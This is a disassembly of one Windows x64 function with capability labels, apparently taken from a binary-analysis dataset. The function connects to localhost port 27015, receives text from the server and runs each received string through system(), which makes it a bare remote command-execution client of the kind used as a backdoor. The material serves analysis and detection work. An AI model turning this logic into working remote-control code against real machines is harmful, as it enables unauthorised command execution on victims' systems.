Function at 0x14001130c
Capabilities:
Connect socket
Execute command
Initialize winsock library
Receive data
Receive data on socket
Resolve dns

Disassembly:
jmp 0x1400123a0
push rbp
push rdi
sub rsp, 0x758
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x13e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x728], rax
lea rcx, [0x1400250f9]
call fcn.14001142e
nop
mov qword [rbp + 0x1e8], 0xffffffffffffffff
mov qword [rbp + 0x208], 0
mov qword [rbp + 0x228], 0
mov dword [rbp + 0x4b4], 0x200
lea rdx, [rbp + 0x10]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [rbp + 0x1c4], eax
cmp dword [rbp + 0x1c4], 0
je 0x140012463
lea rdx, str.WSAStartup_failed_with_error:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001108c
mov edx, dword [rbp + 0x1c4]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x14001103c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov eax, 1
jmp 0x14001280b
mov r8d, 0x30
xor edx, edx
lea rcx, [rbp + 0x248]
call fcn.140011366
nop
mov dword [rbp + 0x24c], 2
mov dword [rbp + 0x250], 1
mov dword [rbp + 0x254], 6
lea r9, [rbp + 0x208]
lea r8, [rbp + 0x248]
lea rdx, str.27015
lea rcx, str.localhost
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov dword [rbp + 0x1c4], eax
cmp dword [rbp + 0x1c4], 0
je 0x14001250b
lea rdx, str.getaddrinfo_failed_with_error:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001108c
mov edx, dword [rbp + 0x1c4]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x14001103c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
mov eax, 1
jmp 0x14001280b
mov rax, qword [rbp + 0x208]
mov qword [rbp + 0x228], rax
mov rax, qword [rbp + 0x228]
mov r8d, dword [rax + 0xc]
mov rax, qword [rbp + 0x228]
mov edx, dword [rax + 8]
mov rax, qword [rbp + 0x228]
mov ecx, dword [rax + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rbp + 0x1e8], rax
cmp qword [rbp + 0x1e8], 0xffffffffffffffff
jne 0x1400125af
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [rbp + 0x724], eax
lea rdx, str.Error_at_socket__:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001108c
mov ecx, dword [rbp + 0x724]
mov edx, ecx
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x14001103c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rcx, qword [rbp + 0x208]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
nop
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
mov eax, 1
jmp 0x14001280b
mov rax, qword [rbp + 0x228]
mov r8d, dword [rax + 0x10]
mov rax, qword [rbp + 0x228]
mov rdx, qword [rax + 0x20]
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_connect]
mov dword [rbp + 0x1c4], eax
cmp dword [rbp + 0x1c4], 0xffffffff
jne 0x1400125fa
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_closesocket]
nop
mov qword [rbp + 0x1e8], 0xffffffffffffffff
mov rcx, qword [rbp + 0x208]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
nop
cmp qword [rbp + 0x1e8], 0xffffffffffffffff
jne 0x140012647
lea rdx, str.Unable_to_connect_to_server_
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001108c
lea rdx, [0x14001103c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
mov eax, 1
jmp 0x14001280b
lea rdx, str.Connected_to_server._Waiting_for_commands...
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001108c
lea rdx, [0x14001103c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
xor r9d, r9d
mov r8d, dword [rbp + 0x4b4]
lea rdx, [rbp + 0x2a0]
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_recv]
mov dword [rbp + 0x1c4], eax
cmp dword [rbp + 0x1c4], 0
jle 0x14001275b
movsxd rax, dword [rbp + 0x1c4]
mov qword [rbp + 0x718], rax
cmp qword [rbp + 0x718], 0x200
jae 0x1400126b9
jmp 0x1400126bf
call fcn.140011348
nop
mov rax, qword [rbp + 0x718]
mov byte [rbp + rax + 0x2a0], 0
lea rdx, str.Received_command_from_server:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001108c
lea rdx, [rbp + 0x2a0]
mov rcx, rax
call fcn.14001108c
lea rdx, [0x14001103c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.ucrtbased.dll_system]
cmp eax, 0xffffffff
jne 0x140012756
lea rdx, str.Failed_to_execute_command.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001108c
lea rdx, [0x14001103c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_closesocket]
nop
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
mov eax, 1
jmp 0x14001280b
jmp 0x1400127e7
cmp dword [rbp + 0x1c4], 0
jne 0x14001278a
lea rdx, str.Connection_closed_by_server.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001108c
lea rdx, [0x14001103c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
jmp 0x1400127e7
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [rbp + 0x724], eax
lea rdx, str.recv_failed_with_error:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001108c
mov ecx, dword [rbp + 0x724]
mov edx, ecx
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x14001103c]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_closesocket]
nop
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
mov eax, 1
jmp 0x14001280b
cmp dword [rbp + 0x1c4], 0
jg 0x14001266b
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.WS2_32.dll_closesocket]
nop
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, reloc.WS2_32.dll_connect
call fcn.1400113bb
mov rax, rdi
mov rcx, qword [rbp + 0x728]
xor rcx, rbp
call fcn.140011226
lea rsp, [rbp + 0x738]
pop rdi
pop rbp
ret